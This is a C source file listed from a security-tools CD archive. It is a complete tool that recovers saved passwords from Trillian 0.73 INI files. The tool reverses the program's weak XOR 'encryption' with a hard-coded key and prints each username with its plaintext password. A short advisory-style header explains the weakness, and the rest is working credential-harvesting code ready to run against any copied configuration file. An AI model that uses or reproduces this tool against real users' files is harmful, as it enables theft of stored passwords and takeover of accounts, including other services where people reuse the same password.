home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / im / trillian / trillian-ini-decrypt.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  8KB  |  261 lines

  1. /********************************
  2.  * trillian-ini-decrypt
  3.  * By The Coeus Group
  4.  * http://www.coeus-group.com
  5.  ********************************
  6.  *     Software:     Trillian 0.73, possibly others.
  7.  *    Issue:        Weak "encryption" of saved passwords.
  8.  *    Impact:        Decryption of saved passwords.
  9.  *    Severity:    Medium. ish. The program only works locally, and only
  10.  *            if the subject has saved their password, and really
  11.  *            if someone can get into your AIM account, how earth-
  12.  *            shattering is that??? However, since a lot of people
  13.  *            use the same password for everything... What's easier,
  14.  *            getting the password from Trillian, or Wells Fargo???
  15.  ********************************
  16.  * Trillian is, according to trillian.cc, "...everything you need for instant
  17.  * messaging. Connect to ICQ«, AOL Instant Messenger(SM), MSN Messenger, Yahoo!
  18.  * Messenger and IRC in a single, sleek and slim interface."
  19.  *
  20.  * Upon examination of the Trillian directory (which defaults to
  21.  * C:\Program Files\Trillian\ ), it appears that passwords are stored in
  22.  * ini files that are located in {Path to Trillian}\users\{WindowsLogon}. The
  23.  * passwords are encrypted using a simple XOR with a key apparently uniform
  24.  * throughout every installation.
  25.  *
  26.  * This program takes, as command line argument(s), path(s) to these INI files.
  27.  * It will then display a list of usernames, "encrypted" passwords, and plaintext
  28.  * passwords.
  29.  *
  30.  * Evan Nemerson
  31.  * enemerson@coeus-group.com */
  32.  
  33. #include <stdio.h>
  34. #include <errno.h>
  35. #include <stdlib.h>
  36.  
  37. #ifndef FALSE
  38. #define FALSE 0
  39. #endif
  40.  
  41. #ifndef TRUE
  42. #define TRUE 1
  43. #endif
  44.  
  45. void toupper(char* string);
  46. int strlen(const char *s);
  47. int strBeginsWith(const char *needle, const char *haystack);
  48. int strIs(const char *subj, const char *eq);
  49. void extractAcctounts(FILE *fp);
  50. char *hex2str(char *string);
  51. void decrypt();
  52. void outPasswds();
  53. void printhelp();
  54. int main(int argc, char *argv[]);
  55.  
  56. struct account
  57. {
  58.     char username[64];
  59.     char cyphertext[64];
  60.     char plaintext[32];
  61. };
  62.  
  63. extern int errno;
  64. struct account *pAccounts[32];
  65. short int nAccounts = 0;
  66. char key[] =        "\xF3\x26\x81\xC4"
  67.             "\x39\x86\xDB\x92"
  68.             "\x71\xA3\xB9\xE6"
  69.             "\x53\x7A\x95\x7C";
  70.  
  71. void toupper(char* string)
  72. {
  73.     short int x = 0;
  74.     for ( x = 0 ; x < (strlen(string)) ; x++ )
  75.     {
  76.         if ( ( string[x] > 96 ) && ( string[x] < 123 ) )
  77.             string[x] -= 32;
  78.     }
  79. }
  80.  
  81. int strlen(const char *s)
  82. {
  83.     short int n = 0;
  84.     while ( s[n] != 0 )
  85.         n++;
  86.     return n;
  87. }
  88.  
  89. int strBeginsWith(const char *needle, const char *haystack)
  90. {
  91.     short int x;
  92.  
  93.     if ( strlen(needle) > strlen(haystack) )
  94.         return FALSE;
  95.  
  96.     for ( x = 0 ; x < strlen(needle) ; x++ )
  97.     {
  98.         if ( needle[x] != haystack[x] )
  99.             return FALSE;
  100.     }
  101.  
  102.     return TRUE;
  103. }
  104.  
  105. int strIs(const char *subj, const char *eq)
  106. {
  107.     short int x;
  108.  
  109.     if ( strlen(subj) != strlen(eq) )
  110.         return FALSE;
  111.     for ( x = 0 ; x < strlen(subj) ; x++ )
  112.     {
  113.         if ( subj[x] != eq[x] )
  114.             return FALSE;
  115.     }
  116.  
  117.     return TRUE;
  118. }
  119.  
  120. void extractAcctounts(FILE *fp)
  121. {
  122.     char buff[256], *ptr;
  123.     int x;
  124.     while ( !feof(fp) )
  125.     {
  126.         fgets(buff, 255, fp);
  127.         if ( strBeginsWith("name=", buff) )
  128.         {
  129.             buff[strlen(buff)-1] = 0;
  130.             pAccounts[nAccounts] = (struct account*)malloc(sizeof(struct account));
  131.             if ( pAccounts[nAccounts] == NULL )
  132.             {
  133.                 perror("Failed to malloc()");
  134.                 exit(errno);
  135.             }
  136.             ptr = pAccounts[nAccounts]->username;
  137.             for ( x = 5 ; x < strlen(buff) ; x++ )
  138.             {
  139.                 ptr[x-5] = buff[x];
  140.             }
  141.             ptr[x-5] = 0;
  142.             nAccounts++;
  143.         }
  144.         if ( strBeginsWith("password=", buff) )
  145.         {
  146.             buff[strlen(buff)-1] = 0;
  147.             ptr = pAccounts[nAccounts-1]->cyphertext;
  148.             for ( x = 9 ; x < strlen(buff) ; x++ )
  149.             {
  150.                 ptr[x-9] = buff[x];
  151.             }
  152.             ptr[x-9] = 0;
  153.         }
  154.     }
  155. }
  156.  
  157. char *hex2str(char *string)
  158. {
  159.     int x=0,n=0,i=0;
  160.     unsigned char hex[2];
  161.     unsigned char *out;
  162.     out = (unsigned char*)malloc((strlen(string)/2)+1);
  163.     if ( out == NULL )
  164.     {
  165.         perror("Failed to malloc()");
  166.         exit(errno);
  167.     }
  168.  
  169.     // For hex number...
  170.     for ( x = 0 ; x < strlen(string) ; x+=2 )
  171.     {
  172.         out[i] = 0;
  173.         // Convert ASCII 0-F to decimal.
  174.         hex[0] = string[x]-48;
  175.         hex[1] = string[x+1]-48;
  176.         for ( n = 0 ; n < 2 ; n++ )
  177.         {
  178.             if ( hex[n] > 9 )
  179.                 hex[n] -= 7;
  180.         }
  181.         out[i++] = (hex[0]*16)+hex[1];
  182.     }
  183.     out[i++] = 0;
  184.     return out;
  185. }
  186.  
  187. void decrypt()
  188. {
  189.     int n, x;
  190.     char *plain, *cypher;
  191.  
  192.     for ( x = 0 ; x < nAccounts ; x++ )
  193.     {
  194.         cypher = hex2str(pAccounts[x]->cyphertext);
  195.         plain  = pAccounts[x]->plaintext;
  196.  
  197.         for ( n = 0 ; n < (strlen(cypher)-1) ; n++ )
  198.         {
  199.             plain[n] = cypher[n] ^ key[n];
  200.         }
  201.     }
  202. }
  203.  
  204. void outPasswds()
  205. {
  206.     int x;
  207.     printf(
  208.         "/----------------------------\\\n"
  209.         "| trillian-ini-decrypt       |\n"
  210.         "| By The Coeus Group         |\n"
  211.         "| http://www.coeus-group.com |\n"
  212.         "\\----------------------------/\n");
  213.     printf("Found %d accounts.\n\n", nAccounts);
  214.     for ( x = 0 ; x < nAccounts ; x++ )
  215.     {
  216.         printf(    "Username:           : %s\n"
  217.             "Password (encrypted): %s\n"
  218.             "Password (decrypted): %s\n\n",
  219.             pAccounts[x]->username,
  220.             pAccounts[x]->cyphertext,
  221.             pAccounts[x]->plaintext
  222.         );
  223.     }
  224. }
  225.  
  226. void printhelp()
  227. {
  228.     printf(    "Just put the path to Trillian INI file as command-line\n"
  229.         "parameter. Don't forget to quote as needed. Will accept\n"
  230.         "multiple files.\n");
  231.     exit(0);
  232. }
  233.  
  234. int main(int argc, char *argv[])
  235. {
  236.     short int x;
  237.     FILE *fp;
  238.  
  239.     if ( ( argc < 2 ) ) { printhelp(); }
  240.     if (    ( strIs(argv[1],     "-h") )    |
  241.         ( strIs(argv[1], "--help") )    |
  242.         ( strIs(argv[1],     "/?") )
  243.     ) printhelp();
  244.  
  245.     for ( x = 1 ; x < argc ; x++ )
  246.     {
  247.         fp = fopen(argv[x], "r");
  248.         if ( fp == NULL )
  249.         {
  250.             perror("Error");
  251.             exit(errno);
  252.         }
  253.         extractAcctounts(fp);
  254.     }
  255.  
  256.     decrypt();
  257.     outPasswds();
  258.  
  259.     return 0;
  260. }